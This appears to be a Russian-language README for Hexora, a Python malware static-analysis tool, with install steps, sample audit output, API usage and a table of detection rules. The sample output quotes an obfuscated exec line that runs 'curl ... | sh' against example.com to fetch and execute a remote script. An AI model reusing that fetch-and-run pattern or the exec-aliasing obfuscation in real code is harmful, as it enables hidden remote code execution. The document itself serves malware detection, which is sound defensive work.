
Статический анализ вредоносного кода Python
Hexora — это инструмент статического анализа, предназначенный для обнаружения вредоносных и опасных шаблонов в коде Python. Он сочетает в себе механизм статического анализа на основе правил с моделью машинного обучения, которая оценивает целые исходные файлы для классификации их как вредоносные или безопасные.
Его можно использовать для:
Примеры вывода смотрите в файле docs/examples.md.
Требуется Python 3.9+.
pip install hexora
С помощью uv:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Где python3.11 — версия Python в виртуальном окружении.
Советы:
--exclude, чтобы подавить определённые коды правил (например, шумные импорты) для данного запуска--min-confidence, чтобы сосредоточиться только на результатах с высокой степенью уверенности.Уверенность указывает на то, насколько определённый фрагмент кода вредоносен. Некоторые библиотеки или фрагменты кода используются в законных целях, и трудно отличить легитимные сценарии от вредоносных. Вот почему некоторые совпадения имеют низкий уровень уверенности.
Некоторые правила могут иметь разные уровни уверенности. Избегайте фильтрации большого количества правил по кодам, если вы не очень уверены. Например, выполнение кода и команд оболочки может иметь средний, высокий и очень высокий уровень уверенности. Это зависит от того, как был выполнен код. Если мы обнаруживаем попытку обфускации, мы повышаем уверенность.
Например, этот код будет иметь высокую уверенность:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
При разработке новых правил вы можете использовать существующие наборы вредоносного ПО, такие как malicious-software-packages-dataset.
После клонирования укажите инструменту бенчмаркинга путь к каталогу набора данных:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
Новые правила добавляются регулярно.
На данный момент доступны следующие правила:
Для разбора мы используем AST-парсер из библиотеки ruff.
| Code | Name | Description |
|---|
| HX1000 | AppEnumeration | Подозрительное перечисление приложений. |
| HX1010 | BrowserEnumeration | Подозрительное перечисление браузеров (приложения, cookie, история и т.д.). |
| HX1020 | PathEnumeration | Подозрительное перечисление путей. |
| HX1030 | OSFingerprint | Подозрительное определение ОС. |
| HX2000 | ClipboardRead | Чтение из буфера обмена. |
| HX2010 | EnvAccess | Доступ к чувствительной переменной окружения. |
| HX2020 | ScreenshotCapture | Снятие скриншотов с экрана. |
| HX3000 | CodeExec | Возможное выполнение кода. |
| HX3010 | ShellExec | Выполнение команды оболочки. |
| HX3040 | DLLInjection | Возможная инъекция DLL. |
| HX3050 | DangerousExec | Выполнение потенциально опасной команды внутри команды оболочки. |
| HX3060 | SuspiciousCall | Подозрительный вызов функции. |
| HX4000 | ObfuscatedShellExec | Выполнение возможно обфусцированной команды оболочки. |
| HX4010 | ObfuscatedCodeExec | Выполнение возможно обфусцированного кода. |
| HX5000 | DunderImport | Подозрительное использование __import__. |
| HX5010 | SuspiciousImport | Подозрительный импорт. |
| HX5020 | CtypesImport | Подозрительный импорт ctypes. |
| HX5030 | PickleImport | Подозрительный импорт pickle. |
| HX5040 | StructImport | Подозрительный импорт struct. |
| HX5050 | SocketImport | Подозрительный импорт socket. |
| HX5060 | MarshalImport | Подозрительный импорт marshal. |
| HX6000 | Base64String | Обнаружена длинная Base64-закодированная строка; возможная обфускация кода. |
| HX6010 | HexedLiterals | Обнаружен список шестнадцатерично закодированных литералов; возможная полезная нагрузка. |
| HX6020 | HexedString | Обнаружена длинная шестнадцатерично закодированная строка; возможная полезная нагрузка. |
| HX6030 | IntLiterals | Обнаружен большой список целочисленных литералов; возможная обфускация кода. |
| HX6040 | CVEInLiteral | Литерал содержит идентификатор CVE. |
| HX6050 | SuspiciousLiteral | Обнаружен подозрительный литерал; возможное перечисление данных. |
| HX6060 | PathTraversal | Подозрительный обход пути. |
| HX6070 | BrowserExtension | Перечисление чувствительных расширений браузера. |
| HX6080 | WebHook | Обнаружен подозрительный вебхук. Возможная утечка данных. |
| HX6090 | TelegramToken | Обнаружен токен Telegram-бота в строковом литерале. |
| HX7000 | SuspiciousFunctionName | Подозрительное имя функции. |
| HX7010 | SuspiciousParameterName | Подозрительное имя параметра. |
| HX7020 | SuspiciousVariable | Подозрительное имя переменной. |
| HX9000 | DataExfiltration | Потенциальная утечка данных. |
| HX8000 | BinaryDownload | Подозрительная загрузка бинарного файла. |
| HX8010 | BuiltinsVariable | Подозрительное использование встроенной переменной. |
| HX8020 | SuspiciousComment | Подозрительный комментарий. |
| HX8030 | SuspiciousWrite | Подозрительная запись в файловую систему. |
| HX8040 | InstallHook | Подозрительная установка хука установки. |